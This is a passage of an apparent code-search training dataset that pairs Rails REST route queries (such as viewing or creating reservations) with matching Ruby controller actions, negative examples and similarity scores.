"def index\n @reunion_participantes = ReunionParticipante.all\n end",
"def index\n @telfornecedors = Telfornecedor.all\n end",
"def index\n @time_treinadors = TimeTreinador.where(treinador_id: @treinador.id)\n end",
"def index\n #@detalhes_equipamentos = DetalhesEquipamento.all\n #@q = DetalhesEquipamento.ransack(params[:q])\n @detalhes_equipamentos = DetalhesEquipamento.accessible_by(current_ability).order('modelo ASC')\n end",
"def index\n @consulta_viajes = ConsultaViaje.all\n end",
"def index\r\n @horas = [9.00,9.30,10.00,10.30,11.00,11.30,12.00,14.30,15.00,15.30,16.00,16.30,17.00,17.30,18.00,18.30,19.00,19.30,20.00]\r\n @hora = Reservation.new\r\n @reservations = Reservation.where(\"patient_id = ?\", current_user.patient.id).order(\"id DESC\")\r\n\r\n if params[:sucursal].present?\r\n @sucursal = Sucursal.find(params[:sucursal])\r\n end\r\n\r\n if params[:employee_id].present?\r\n @doctor = Employee.find(params[:employee_id])\r\n end\r\n\r\n if params[:fecha].present?\r\n @fecha = params[:fecha]\r\n @fecha = @fecha.to_date\r\n if @doctor.reservations == []\r\n flash.now[:danger] = \"Doctor nunca ha tenido ninguna reserva\"\r\n @reserva = Reservation.new\r\n else\r\n @doctor.reservations.each do |reserva|\r\n if reserva.fecha.to_s == params[:fecha]\r\n #Doctor seleccionado con alguna reservacion con fecha\r\n @reservas = @doctor.reservations.where(\"fecha = ?\", @fecha)\r\n end\r\n end\r\n end\r\n end\r\n end",
"def index\n @reservacions = Reservacion.all\n end",
"def reporte entrena, inicio, final\n entrenador = User.find(entrena)\n equipos = entrenador.equipos\n\n @events = []\n equipos.each do |equipo|\n\n equipo.eventos.each do |event|\n\n if (event.fecha >= inicio) && (event.fecha <= final)\n @events << event\n end\n\n end\n end\n return @events\n end",
"def index\n \n if params[:from_muestreo]\n session[:muestreo_id] = params[:muestreo_id]\n end\n @muestras = Muestra.where(muestreo_id: session[:muestreo_id]).all\n @muest_id = session[:muestreo_id].to_i\n #@empleados = Empleado.where(proyecto_id: session[:proyecto_id].to_i).all\n #puts(@proy_id)\n @can_create = false\n if current_user.permission > 0\n @can_create = true\n end\n if(@muestras == nil)\n @muestras = {}\n end\n\n @horarios = Schedule.where(muestreo_id: session[:muestreo_id]).all\n if(@horarios == nil)\n @horarios = {}\n end\n @observaciones = Observacion.where(muestreo_id: session[:muestreo_id]).all\n if(@observaciones == nil)\n @observaciones = {}\n end\n \n end",
"def index\n @f_dpetras = FDpetra.all\n end",
"def index\n @vacation_requests = VacationRequest.all\n end",
"def index\n @reparticoes = Reparticao.all\n end",
"def index\n @vestimenta = Vestimentum.all\n end",
"def index\n @parent_ofs = ParentOf.all\n end",
"def index\n @receita_a_recebers = ReceitaAReceber.all\n end",
"def index\n @titulo = \"Restaurante Dragon Ball\"\n @empresa = Empresa.find(1)\n @promocions = Promocion.all\n end",
"def upcoming(id)\n\t\t@language = MessengerBot.new.get_language(id)\n\t\tcolumns = VaccinationSchedule.column_names \n\t\ttoday = Date.today\n\t\tupcoming_vaccine = []\n\t\tfor i in VACCINE_COLUMNS_INDEX_STARTS_AT..columns.length-1 \n\t\t\tuser = VaccinationSchedule.select(\"#{columns[i]}\").where(\"#{columns[i]} > ? AND parent_facebook_userid = ?\",today,id).to_a\n\t\t\tdefault_record = DefaultVaccineSchedule.where(\"vaccine_name = ?\",columns[i])\n\t\t\tif user.any? then\n\t\t\t\tnew_vaccine_date = user[0][\"#{columns[i]}\"]\n\t\t\t\tvaccine_url \t = default_record[0][\"url\"]\n\t\t\t\tnew_vaccine ={\n\t\t\t\t\t\"vaccine_name\": \"#{columns[i]}\",\n\t\t\t\t\t\"due_date\": \"#{new_vaccine_date}\",\n\t\t\t\t\t\"url\": \"#{vaccine_url}\"\n\t\t\t\t}\n\t\t\t\tupcoming_vaccine << new_vaccine\n\t\t\tend\n\t\tend\n\t\tif upcoming_vaccine.length > 0 then\n\t\t\tMessengerBot.say(id,LIST_OF_UPCOMING_VACCINES_TEXT[\"#{@language}\"])\n\t\t\tMessengerBot.new.display_vaccination_dates(id,upcoming_vaccine)\n\t\telse\n\t\t\tMessengerBot.say(id,ALL_VACCINES_PROVIDED_MESSAGE_TEXT[\"#{@language}\"])\n\t\tend\n\t\t\n\n\t\tBot.on :message do |message|\n\t\t\tid = message.sender[\"id\"]\n\t\t\tMessengerBot.call_message(id,message.text)\n\t\tend\n\n\t\tBot.on :postback do |postback|\n\t\t\tid = postback.sender[\"id\"]\n\t\t\tMessengerBot.call_postback(id,postback.payload)\n\t\tend\n\tend",
"def index\n @veiculos = Veiculo.all\n end"
] |
[
"0.636157",
"0.6350951",
"0.6314228",
"0.6247593",
"0.6098972",
"0.60638416",
"0.59621185",
"0.5933849",
"0.5917265",
"0.5912989",
"0.5902474",
"0.5895605",
"0.5893873",
"0.58839035",
"0.5882533",
"0.5875103",
"0.587032",
"0.5864712",
"0.5850845",
"0.58267564",
"0.5825596",
"0.58241487",
"0.58163005",
"0.5800961",
"0.5798989",
"0.579353",
"0.57770836",
"0.5775248",
"0.5771972",
"0.5766593",
"0.57466996",
"0.5737471",
"0.5737168",
"0.5732104",
"0.5732061",
"0.57215166",
"0.5718509",
"0.5715145",
"0.5715145",
"0.56854594",
"0.56758004",
"0.56755686",
"0.5672773",
"0.5672773",
"0.5672513",
"0.5672513",
"0.5665722",
"0.56632125",
"0.5662978",
"0.5658393",
"0.5656106",
"0.56542146",
"0.56477916",
"0.56385",
"0.5631908",
"0.5625086",
"0.5621025",
"0.5607459",
"0.55902356",
"0.5590184",
"0.55860054",
"0.55840564",
"0.55804354",
"0.55802387",
"0.55785674",
"0.5577461",
"0.55762166",
"0.55747014",
"0.55717117",
"0.55705357",
"0.5566949",
"0.5558318",
"0.5554349",
"0.5554349",
"0.5551076",
"0.5550195",
"0.55482864",
"0.5545773",
"0.5541891",
"0.5538797",
"0.5535183",
"0.5521134",
"0.5513723",
"0.550811",
"0.5507874",
"0.55040574",
"0.55003554",
"0.5500093",
"0.5496216",
"0.54943556",
"0.5492514",
"0.54922426",
"0.54919136",
"0.54886186",
"0.54883754",
"0.5485293",
"0.54827595",
"0.5480062",
"0.5475456",
"0.54721904",
"0.5471422"
] |
0.0
|
-1
|
GET /reservations/1 GET /reservations/1.json
|
def show
@reservation = Reservation.find(params[:id])
respond_to do |format|
format.html # show.html.erb
format.json { render json: @reservation }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def index\n render json: reservations\n end",
"def index\n @reservations = Reservation.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @reservations }\n end\n end",
"def index\n @reservations = Reservation.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @reservations }\n end\n end",
"def index\n @reservations = V2::Reservation.order(id: :desc).page(params[:page])\n end",
"def index\n @reservations = Reservation.all\n end",
"def index\n @reservations = Reservation.all\n end",
"def index\n @reservations = Reservation.all\n end",
"def index\n @reservations = Reservation.all\n end",
"def index\n @reservations = Reservation.all\n end",
"def index\n @reservations = Reservation.all\n end",
"def index\n @reservations = Reservation.all\n end",
"def index\n @reservations = Reservation.all\n end",
"def index\n @reservations = Reservation.all\n end",
"def index\n @reservations = Reservation.all\n end",
"def index\n @reservations = Reservation.all\n end",
"def index\n @reservations = Reservation.all\n end",
"def index\n @reservations = Reservation.all\n end",
"def index\n @reservations = Reservation.all\n end",
"def index\n @reservations = Reservation.all\n end",
"def show_reservations\n user = User.find(current_user.id)\n @reservations = user.reservations\n end",
"def index\n @reservations = @apartment.reservations.all\n end",
"def get_by_property\n @api_v1_reservation = current_api_v1_user.properties.find(params[:id]).reservations\n render template: '/api/v1/reservations/index', status: 200\n rescue Exception => errors\n render json: errors, status: :unprocessable_entity\n end",
"def show\n @reservation = Reservation.find(params[:id])\n end",
"def show\n @reservation = Reservation.find(params[:id])\n end",
"def show\n @reservation = Reservation.find(params[:id])\n end",
"def index\n @reservations = @bus.reservations\n end",
"def show\n @reservation = current_user.reservations.find(params[:id])\n respond_with(@reservation)\n end",
"def set_reservations\n @reservation = Reservation.find(params[:id])\n end",
"def set_reservations\n @reservation = Reservation.find(params[:id])\n end",
"def reservations\n @reservations ||= flight.reservations\n end",
"def index\n @reservations = Reservation.includes(:guest).all\n end",
"def index\n if user_signed_in?\n @reservations = current_user.reservations\n elsif owner_signed_in?\n @reservations = []\n # current_owner.restaurants.each {|rest| @reservations += rest.reservations}\n if current_owner.restaurant.blank?\n @reservations = []\n else\n @reservations = current_owner.restaurant.reservations\n end\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @reservations }\n end\n end",
"def fetch_reservations(property_id)\n fetcher = Commands::ReservationsFetcher.new(credentials)\n fetcher.call(property_id)\n end",
"def index\n @reservations = Reservation.all\n #@reservations = current_user.reservations\n end",
"def index\n if user_signed_in?\n @reservations = current_user.reservations\n elsif owner_signed_in?\n @reservations = []\n # current_owner.restaurants.each {|rest| @reservations += rest.reservations}\n if current_owner.restaurant.blank?\n @reservations = []\n else\n @reservations = current_owner.restaurant.reservations\n end\n end\n @reservations = @reservations.order(\"id desc\").page(params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @reservations }\n end\n end",
"def show\n @reserf = Reserve.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @reserf }\n end\n end",
"def index\n @reservations = Reservation.all.where(user_id: current_user.id)\n end",
"def new\n @reservation = Reservation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @reservation }\n end\n end",
"def new\n @reservation = Reservation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @reservation }\n end\n end",
"def new\n @reservation = Reservation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @reservation }\n end\n end",
"def new\n unless r = params['reservation-times'] || session['reservation-times']\n return select_times_first\n end\n resource_id = r.keys.first\n sll_times = r[resource_id] \n return select_times_first if sll_times.blank?\n\n @reservation = Reservation.new({ \n :start_datetime => Time.parse(sll_times.first), \n :end_datetime => Time.parse(sll_times.last) + 1.hour,\n :resource_id => resource_id\n })\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @reservation }\n end\n end",
"def new\n @reservation = Reservation.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @reservation }\n end\n end",
"def index\n reservations = Reservation.all\n render('reservations/index',:locals => {:reservations => reservations})\n end",
"def show\n @reservation = Reservation.find(params[:id])\n render :show \n end",
"def index\n @reservations = @user.reservations\n @reservations_json = []\n @reservations.each do |r|\n ro = r\n r = r.as_json\n %w{arrived email no_show owner_id}.each {|k| r.delete(k)}\n r[:start_time] = ro.start_time_format\n r[:end_time] = ro.end_time_format\n @reservations_json << r\n end\n\n render json: @reservations_json, status: 200 \n end",
"def index\n unless User.admin_by_token?(request.cookies[\"token\"])\n render json: { error: \"invalid_token\" }, status: :unauthorized\n return\n end\n\n @reservations = prep_reservation\n render json: @reservations, status: :ok\n end",
"def index\n respond_to do |format|\n if current_user.try(:admin?)\n @reservations = Reservation.all\n else\n @reservations = Reservation.where(user_id: current_user)\n end\n format.html # index.html.erb\n format.json { render json: @reservations }\n end\n end",
"def index\n @reservation_details = ReservationDetail.all\n end",
"def show\n @reservation = Reservation.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.js\n format.json { render json: @reservation }\n end\n end",
"def index\n\n if request.format == Mime::XML\n limit=params[:limit].nil? ? 1000: params[:limit]\n else\n limit=params[:limit].nil? ? 50 : params[:limit]\n end\n\n @reservations = Reservation.paginate :page => params[:page] || 1, :per_page => limit, :conditions => [\"user_id = ? AND historical = ?\", session[:user_id], 0], :order => \"id\"\n\n respond_to do |format|\n format.xml { render :xml => @reservations }\n format.any { render :json => @reservations }\n end\n end",
"def show\n @reservation = Reservation.new\n end",
"def show\n @reservation = Reservation.new\n end",
"def show\n @reservation = Reservation.new\n end",
"def show\n @reservation = Reservation.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @reservation }\n end\n end",
"def index\n @reservations = Reservation.all\n @reservation_statuses = @@reservation_statuses\n end",
"def load_reservation\n @reservation = Reservation.find(params[:id])\n end",
"def show\n redirect_to reservations_path\n end",
"def show\n reservation = Reservation.find(params[:id])\n render('show',:locals => {:reservation => reservation})\n end",
"def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @reserve }\n end\n end",
"def index\n @reservacions = Reservacion.all\n end",
"def index\n @reservations = Reservation.all.paginate(:page => params[:page]).per_page(10)\n authorize! :index, :Reservations\n end",
"def index\n scope = apply_scopes(Reservation)\n @reservations = scope.respond_to?(:to_a) ? scope.to_a : scope.all\n @reservations = @reservations.paginate(page: params['page'])\n end",
"def new\n @reservation = Reservation.new\n @reservation.restaurant_id = params[:restaurant_id]\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @reservation }\n end\n end",
"def preload\n today = Date.today\n reservations = @location.reservations\n .where(\n 'start_date >= ? ', today\n )\n .select('id, status, start_date')\n\n render json: reservations\n end",
"def index\n @reserves = Reserve.all\n end",
"def index\n @reservationdetails = @reservation.reservationdetails\n end",
"def index\n @tool_reservations = ToolReservation.all\n end",
"def index\n @customer_reservations = CustomerReservation.all\n end",
"def index\n @reservations = current_user.reservations.joins(:menu_item).order('menu_items.date DESC, time_slot DESC')\n respond_with(@reservations)\n end",
"def index\n @employee_reservations = Employee::Reservation.all\n end",
"def new\n @reservation = Reservation.new\n @outlet = params[:outlet]\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @reservation }\n end\n end",
"def new\n @reserf = Reserve.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @reserf }\n end\n end",
"def set_reservation\n @reservation = Reservation.find(params[:id])\n end",
"def set_reservation\n @reservation = Reservation.find(params[:id])\n end",
"def set_reservation\n @reservation = Reservation.find(params[:id])\n end",
"def set_reservation\n @reservation = Reservation.find(params[:id])\n end",
"def set_reservation\n @reservation = Reservation.find(params[:id])\n end",
"def set_reservation\n @reservation = Reservation.find(params[:id])\n end",
"def set_reservation\n @reservation = Reservation.find(params[:id])\n end",
"def set_reservation\n @reservation = Reservation.find(params[:id])\n end",
"def set_reservation\n @reservation = Reservation.find(params[:id])\n end",
"def set_reservation\n @reservation = Reservation.find(params[:id])\n end",
"def show\n @search = @room.reservations.search(params[:q])\n @reservations = @search.result.where(\"initial_date > ?\", Date.today).paginate(:page => params[:page], :per_page => 4)\n end",
"def show\n @reservation = Reservation.new\n begin\n @current_reservation = Reservation.where(\n vacation_property_id: @vacation_property.id, \n guest_phone: @user.phone_number,\n status: 1)\n .first \n rescue Exception => e\n puts \"e.message\"\n end\n end",
"def index\n @space_reservations = SpaceReservation.all\n end",
"def show\n\t\t@reservations = Reservation.where(listing_id: @listing.id)\n\t\t# @listing = Listing.search(params[:search], params[:city])\n\n\tend",
"def reservations(base = self.date_from)\n\t\t\t\t\t@reservations = {} if @reservations.nil?\n\t\t\t\t\tif @reservations[base.to_s].nil?\n\t\t\t\t\t\t@reservations[base.to_s] = RicReservation.reservation_model.event(self, base)\n\t\t\t\t\tend\n\t\t\t\t\treturn @reservations[base.to_s]\n\t\t\t\tend",
"def index\n @reservationcs = Reservationc.all\n end",
"def show\n @reserved_date = ReservedDate.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @reserved_date }\n end\n end",
"def index\n if user_signed_in?\n @reservations = current_user.reservations\n elsif owner_signed_in?\n @reservations = []\n current_owner.restaurants.each {|rest| @reservations += rest.reservations}\n else\n redirect_to root_url, alert: \"Please, sign in!\" \n end\n end",
"def index\n @phone_reservations = PhoneReservation.all\n end",
"def show\n model = Reservation.find(params[:id])\n @reservation = ReservationDecorator.decorate(model)\n @conflicts = ReservationDecorator.decorate_collection(Reservation.conflicting(model))\n end",
"def create\n @reservation = Reservation.new(reservation_params)\n\n if @reservation.save\n render :show, status: :created, location: @reservation\n else\n render json: @reservation.errors, status: :unprocessable_entity\n end\n end",
"def your_reservations\n @rooms = current_user.rooms\n @reservations = Reservation.all\n end",
"def set_reservation\r\n @reservation = Reservation.find(params[:id])\r\n end"
] |
[
"0.7758369",
"0.7455437",
"0.7455437",
"0.7453271",
"0.7407612",
"0.7407612",
"0.7407612",
"0.7407612",
"0.7407612",
"0.7407612",
"0.7407612",
"0.7407612",
"0.7407612",
"0.7407612",
"0.7407612",
"0.7407612",
"0.7407612",
"0.7407612",
"0.7407612",
"0.7224339",
"0.717547",
"0.71110266",
"0.7085551",
"0.7085551",
"0.7085551",
"0.7075622",
"0.7050963",
"0.6970111",
"0.6970111",
"0.69447744",
"0.6903702",
"0.68465865",
"0.6833121",
"0.68167967",
"0.68162376",
"0.68121564",
"0.6807013",
"0.6790186",
"0.6790186",
"0.6790186",
"0.67820084",
"0.67553127",
"0.6746269",
"0.67322695",
"0.6721089",
"0.670357",
"0.6671332",
"0.6643729",
"0.6627413",
"0.6606391",
"0.6591415",
"0.6564207",
"0.6564207",
"0.65621525",
"0.65400743",
"0.6535719",
"0.65252966",
"0.6491889",
"0.64653283",
"0.6417473",
"0.6398",
"0.63974464",
"0.6392338",
"0.63785875",
"0.63730365",
"0.63565737",
"0.635001",
"0.6310325",
"0.63091135",
"0.6305041",
"0.629486",
"0.6291517",
"0.627906",
"0.627906",
"0.627906",
"0.627906",
"0.627906",
"0.627906",
"0.627906",
"0.627906",
"0.627906",
"0.627906",
"0.6277837",
"0.6272492",
"0.6267722",
"0.6262907",
"0.6262748",
"0.62223893",
"0.6208279",
"0.61906654",
"0.6184291",
"0.61606747",
"0.6157517",
"0.6152642",
"0.61498296"
] |
0.7434351
|
7
|
GET /reservations/new GET /reservations/new.json
|
def new
@reservation = Reservation.new
respond_to do |format|
format.html # new.html.erb
format.json { render json: @reservation }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def new\n @reservation = Reservation.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @reservation }\n end\n end",
"def new\n\t\t@reservation = Reservation.new\n\tend",
"def new\n @reserf = Reserve.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @reserf }\n end\n end",
"def new\n render locals: {\n reservation: current_resident.reservations.new(\n room_id: @room.id,\n starts_at: datetime_from_param(params)\n )\n }\n end",
"def new\n unless r = params['reservation-times'] || session['reservation-times']\n return select_times_first\n end\n resource_id = r.keys.first\n sll_times = r[resource_id] \n return select_times_first if sll_times.blank?\n\n @reservation = Reservation.new({ \n :start_datetime => Time.parse(sll_times.first), \n :end_datetime => Time.parse(sll_times.last) + 1.hour,\n :resource_id => resource_id\n })\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @reservation }\n end\n end",
"def new\n @reservation = Reservation.new\n @outlet = params[:outlet]\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @reservation }\n end\n end",
"def new\n @reservation = Reservation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @reservation }\n end\n end",
"def new\n @reserve = Reservation.new\n end",
"def new\n @reservation = Reservation.new\n @reservation.restaurant_id = params[:restaurant_id]\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @reservation }\n end\n end",
"def newreservation\n @reservation = Reservation.new\n @rooms = Room.new\n @room = Room.all\n render 'reservations/newreservation'\n end",
"def new\n @arrival = Arrival.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @arrival }\n end\n end",
"def new\n @arrival = Arrival.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @arrival }\n end\n end",
"def create\n @reservation = Reservation.new(reservation_params)\n\n respond_to do |format|\n if @reservation.save\n format.html { redirect_to @reservation, notice: 'Reservation was successfully created.' }\n format.json { render json: @reservation, status: :created, location: @reservation }\n else\n format.html { render action: \"new\" }\n format.json { render json: @reservation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @reservation = Reservation.new(reservation_params)\n\n if @reservation.save\n render :show, status: :created, location: @reservation\n else\n render json: @reservation.errors, status: :unprocessable_entity\n end\n end",
"def create\r\n @reservation = Reservation.new(reservation_params)\r\n respond_to do |format|\r\n if @reservation.save\r\n format.html { redirect_to reservations_path, notice: 'Reservation was successfully created.' }\r\n format.json { render :show, status: :created, location: @reservation }\r\n else\r\n format.html { render :new }\r\n format.json { render json: @reservation.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end",
"def create\n @reservation = Reservation.new(reservation_params)\n\n respond_to do |format|\n if @reservation.save\n format.html { redirect_to @reservation, notice: 'Reservation was successfully created.' }\n format.json { render :show, status: :created, location: @reservation }\n else\n format.html { render :new }\n format.json { render json: @reservation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @reservation = Reservation.new(reservation_params)\n\n respond_to do |format|\n if @reservation.save\n format.html { redirect_to @reservation, notice: 'Reservation was successfully created.' }\n format.json { render :show, status: :created, location: @reservation }\n else\n format.html { render :new }\n format.json { render json: @reservation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @arrival_range = ArrivalRange.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @arrival_range }\n end\n end",
"def new\n @bg = Bg.first\n @reservation = Reservation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @reservation }\n end\n end",
"def create\n @reservation_room = ReservationRoom.new(reservation_room_params)\n @reservations = Reservation.all\n \n respond_to do |format|\n if @reservation_room.save\n format.html { redirect_to @reservation_room, notice: 'La habitacion se ha asignado a la reserva correctamente.' }\n format.json { render action: 'show', status: :created, location: @reservation_room }\n else\n format.html { render action: 'new' }\n format.json { render json: @reservation_room.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @reservation = Reservation.new(reservation_params)\n @reservation.requester = current_user\n if params[:reservation][:nook_id]\n @nook = Nook.find(params[:reservation][:nook_id])\n @reservation.nook = @nook\n end\n\n respond_to do |format|\n if @reservation.save\n format.html {\n flash[:notice] = t('reservations.submitted')\n if request.xhr?\n render text: nooks_url\n else\n redirect_to nooks_path\n end\n }\n format.json { render :show, status: :created, location: @reservation }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @reservation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @region = Region.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @region }\n end\n end",
"def create\n @reservation = Reservation.new(params[:reservation])\n @reservation.user_id = current_user.id\n\n respond_to do |format|\n if @reservation.save\n format.html { redirect_to @reservation, notice: 'Reservation was successfully created.' }\n format.json { render json: @reservation, status: :created, location: @reservation }\n else\n format.html { render action: \"new\" }\n format.json { render json: @reservation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @reservation = current_user.reservations.new(params[:reservation])\n\n respond_to do |format|\n if @reservation.save\n format.html { redirect_to @reservation, notice: 'Reservation was successfully created.' }\n format.json { render \"reservations/show\", success: true, status: :created, location: @reservation }\n else\n format.html {\n @menu_items = MenuItem.of_the_next_seven_days.includes(:restaurant)\n @restaurants = @menu_items.collect { |menu_item| menu_item.restaurant }\n render action: \"new\"\n }\n format.json {\n render json: @reservation.errors, status: :unprocessable_entity\n }\n end\n end\n end",
"def new\n @routing = Routing.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @routing }\n end\n end",
"def new\n @rsvp = Rsvp.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @rsvp }\n end\n end",
"def new\n @rsvp = Rsvp.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @rsvp }\n end\n end",
"def new\n @lease = Lease.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @lease }\n end\n end",
"def new\n @reserva = Reserva.new\n respond_with @reserva\n end",
"def new\n @person = Person.find_by(token: person_params[:token])\n\n redirect_to root_url unless @person\n\n @event_invitation = V2::EventInvitation.find_by(v2_event_id: event_params[:event_id])\n @user = @event_invitation.user\n @event = @event_invitation.event\n @available_time_slots = @event.available_time_slots(@person)\n @reservation = V2::Reservation.new(time_slot: V2::TimeSlot.new)\n end",
"def new\n @road = Road.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @road }\n end\n end",
"def new\n @route = Route.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @route }\n end\n end",
"def new\n @route = Route.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @route }\n end\n end",
"def new\n @route = Route.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @route }\n end\n end",
"def new\n @route = Route.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @route }\n end\n end",
"def create\n @reservation = @brewery.reservations.new(reservation_params)\n\n respond_to do |format|\n if @reservation.save\n format.html { notification }\n format.json { render :show, status: :created, location: @reservation }\n else\n format.html { render :new }\n format.json { render json: @reservation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n \n @title = \"availabilities/new\"\n @availability = Availability.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @availability }\n end\n end",
"def new\n @booking = Booking.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @booking }\n end\n end",
"def new\n @booking = Booking.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @booking }\n end\n end",
"def new\n @borrow_request = BorrowRequest.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @borrow_request }\n end\n end",
"def new\n @listing = Listing.find(params[:listing_id])\n @reservation = Reservation.new\n end",
"def new\n @request = Request.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @request }\n end\n end",
"def new\n @request = Request.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @request }\n end\n end",
"def new\n @request = Request.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @request }\n end\n end",
"def new\n @request = Request.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @request }\n end\n end",
"def new\n @request = Request.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @request }\n end\n end",
"def new\n @restaurant = Restaurant.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @restaurant }\n end\n end",
"def new\n @restaurant = Restaurant.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @restaurant }\n end\n end",
"def new\n @restaurant = Restaurant.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @restaurant }\n end\n end",
"def new\n @restaurant = Restaurant.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @restaurant }\n end\n end",
"def new\n @restaurant = Restaurant.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @restaurant }\n end\n end",
"def new\n @hotel = Hotel.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @hotel }\n end\n end",
"def new\n # raise params.inspect\n @task = Task.new \n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @task }\n end\n end",
"def new\n @adress = Adresse.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @adress }\n end\n end",
"def make_reservation\n #@reservation = Reservation.new\n end",
"def create\r\n @reservation = Reservation.new(reservation_params)\r\n @reservation.user = current_user\r\n\r\n respond_to do |format|\r\n if @reservation.save\r\n format.html { redirect_to @reservation, notice: 'Reservation was successfully created.' }\r\n format.json { render :show, status: :created, location: @reservation }\r\n else\r\n format.html { render :new }\r\n format.json { render json: @reservation.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end",
"def new\n @restroom = Restroom.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @restroom }\n end\n end",
"def new\n @restroom = Restroom.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @restroom }\n end\n end",
"def new\n @borrow = Borrow.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @borrow }\n end\n end",
"def new\n @seat = Seat.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @seat }\n end\n end",
"def new\n @recipe = Recipe.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @recipe }\n end\n end",
"def new\n @recipe = Recipe.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @recipe }\n end\n end",
"def new\n @recipe = Recipe.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @recipe }\n end\n end",
"def new\n @recipe = Recipe.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @recipe }\n end\n end",
"def new\n @recipe = Recipe.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @recipe }\n end\n end",
"def index\n render json: reservations\n end",
"def new\n @hotel = Hotel.new\n authorize! :create, @hotel\n unless current_user.present?\n redirect_to new_user_registration_url(proceed: 'new_hotel'), notice: 'Register first'\n return\n end\n\n @hotel.node = Node.new\n @hotel.user_id = current_user.id\n @hotel.type = Type.find_by_slug('hotels')\n @hotel.location = Location.new\n @hotel.address = Address.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @hotel }\n end\n end",
"def create\n @reservation = V2::Reservation.new(reservation_params)\n if @reservation.save\n flash[:notice] = \"An interview has been booked for #{@reservation.time_slot.start_datetime_human}\"\n send_notifications(@reservation)\n else\n flash[:error] = \"No time slot was selected, couldn't create the reservation\"\n end\n @available_time_slots = []\n @person = @reservation.person\n respond_to do |format|\n format.js {}\n format.html { render :new }\n end\n end",
"def new\n @tripdate = Tripdate.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @tripdate }\n end\n end",
